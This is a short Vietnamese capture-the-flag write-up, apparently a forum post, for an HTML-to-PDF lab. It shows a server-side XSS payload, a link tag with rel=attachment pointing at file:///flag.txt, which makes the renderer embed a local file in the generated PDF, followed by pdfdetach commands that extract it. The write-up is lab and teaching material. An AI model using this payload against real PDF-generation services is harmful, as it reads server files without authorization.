HTML to PDF - Server Side XSS

Xin chào mọi người, đây là bài writeup đầu tiên của mình nên mọng mọi người góp ý :D.

link tới bài : html-to-pdf

Khi đọc về nội dung ban đầu, mình liên tưởng ngay tới những lỗ hổng của các thư viện và tool render html sang pdf như wkhtmltopdf, …

Khởi động lab lên thôi nào:

image

Theo như giao diện này thì mình thấy có thể đưa source html cho lab thông qua 1 url nào đó.

Từ đó mình thử dùng 1 cái bin selfhost để test suy nghĩ này:

image
image

Sau khi đã có flow để test nhanh, chúng ta có thể bắt đầu thử nghiệm các exploit XSS thường thấy của các thư viện render html sang pdf.

Mình sử dụng các exploit được nêu ra trên đây https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.

Sau 1 quá trình thử nghiệm thì đoạn mã này khiến cho dung lượng của file pdf tăng lên đáng kể

image

<link rel=attachment href="file:///flag.txt">

Sau đó mình sử dụng tool pdfdetach có sẵn trên ubuntu để tách file flag.txt ra:

$ pdfdetach -list bf7bc68aeecc92a43c8754b6ad8342a9\ \(2\).pdf
1 embedded files
1: flag.txt
$ pdfdetach -saveall bf7bc68aeecc92a43c8754b6ad8342a9\ \(2\).pdf
$ cat flag.txt
CHH{xxx}
4 Likes